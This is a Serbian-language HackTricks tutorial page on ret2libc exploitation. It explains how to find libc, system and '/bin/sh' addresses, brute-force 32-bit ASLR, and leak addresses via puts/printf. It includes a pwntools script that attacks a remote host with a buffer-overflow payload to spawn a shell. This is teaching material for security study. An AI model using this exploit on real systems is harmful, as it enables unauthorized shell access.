Ret2lib

Naučite i vežbajte hakovanje AWS-a: HackTricks Training AWS Red Team Expert (ARTE) Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Suština Ret2Libc je preusmeravanje izvršnog toka ranjivog programa ka funkciji unutar deljene biblioteke (npr. system, execve, strcpy) umesto izvršavanja shell koda koji je dostavljen od strane napadača na steku. Napadač kreira payload koji menja povratnu adresu na steku tako da pokazuje na željenu bibliotečku funkciju, dok istovremeno organizuje da svi neophodni argumenti budu pravilno postavljeni prema konvenciji pozivanja.

Primer koraka (simplifikovan)

  • Dobiti adresu funkcije koja se poziva (npr. system) i komandu koja se poziva (npr. /bin/sh)

  • Generisati ROP lanac da se prosledi prvi argument koji pokazuje na string komande i izvršni tok funkciji

Pronalaženje adresa

  • Pretpostavljajući da se libc koji se koristi nalazi na trenutnoj mašini, možete pronaći gde će biti učitan u memoriju sa:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ako želite da proverite da li ASLR menja adresu libc-a, možete uraditi sledeće:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Znajući korišćeni libc, takođe je moguće pronaći offset do funkcije system pomoću:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Znajući korišćeni libc, takođe je moguće pronaći offset do stringa /bin/sh funkcije sa:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Korišćenje gdb-peda / GEF

Znajući korišćenu libc biblioteku, takođe je moguće koristiti Peda ili GEF da dobijete adresu funkcije system, funkcije exit i stringa /bin/sh :

p system
p exit
find "/bin/sh"

Korišćenje /proc/<PID>/maps

Ako proces stvara decu svaki put kada komunicirate s njim (mrežni server), pokušajte da pročitate taj fajl (verovatno će vam biti potrebna root privilegija).

Ovde možete pronaći tačno gde je učitan libc unutar procesa i gde će biti učitan za svako dete procesa.

U ovom slučaju učitan je na 0xb75dc000 (Ovo će biti bazna adresa libc-a)

Nepoznat libc

Moguće je da ne znate koji libc učitava binarni fajl (jer se možda nalazi na serveru do kojeg nemate pristup). U tom slučaju možete iskoristiti ranjivost da procurete neke adrese i pronađete koji libc biblioteku se koristi:

Leaking libc address with ROP

Takođe možete pronaći šablon pwntools-a za ovo u:

Leaking libc - template

Poznavanje libc-a sa 2 offseta

Proverite stranicu https://libc.blukat.me/ i koristite par adresa funkcija unutar libc-a da biste saznali verziju koja se koristi.

Zaobilaženje ASLR-a u 32 bita

Ovi napadi brute-forcinga su korisni samo za 32-bitne sisteme.

  • Ako je eksploatacija lokalna, možete pokušati da brute-force-ujete baznu adresu libc-a (korisno za 32-bitne sisteme):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ako napadate udaljeni server, možete pokušati bruteforce-ovati adresu libc funkcije usleep, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku dodatno odgovori za 10 sekundi, pronašli ste adresu ove funkcije.

Jedan Gadget

Izvršite shell skočivši na jednu određenu adresu u libc-u:

One Gadget

x86 Ret2lib Primer Koda

U ovom primeru, ASLR bruteforce je integrisan u kod, a ranjivi binarni fajl se nalazi na udaljenom serveru:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Primer koda za x64 Ret2lib

Proverite primer sa:

ROP - Return Oriented Programing

Primer ARM64 Ret2lib

U slučaju ARM64, instrukcija ret skače na lokaciju na koju pokazuje registar x30, a ne na lokaciju na koju pokazuje registar steka. Zbog toga je malo složenije.

Takođe, u ARM64 instrukcija radi ono što instrukcija radi (nije moguće skočiti usred instrukcija i transformisati ih u nove).

Proverite primer sa:

Ret2lib + Printf leak - arm64

Ret-into-printf (ili puts)

Ovo omogućava procurivanje informacija iz procesa pozivanjem printf/puts sa određenim podacima postavljenim kao argument. Na primer, stavljanje adrese puts u GOT u izvršavanje puts će procuriti adresu puts u memoriji.

Ret2printf

Ovo u osnovi znači zloupotrebu Ret2lib kako bi se pretvorio u ranjivost sa formatiranim stringovima za printf koristeći ret2lib za pozivanje printf sa vrednostima koje će je iskoristiti (zvuči beskorisno, ali je moguće):

Format Strings

Ostali primeri i reference

Last updated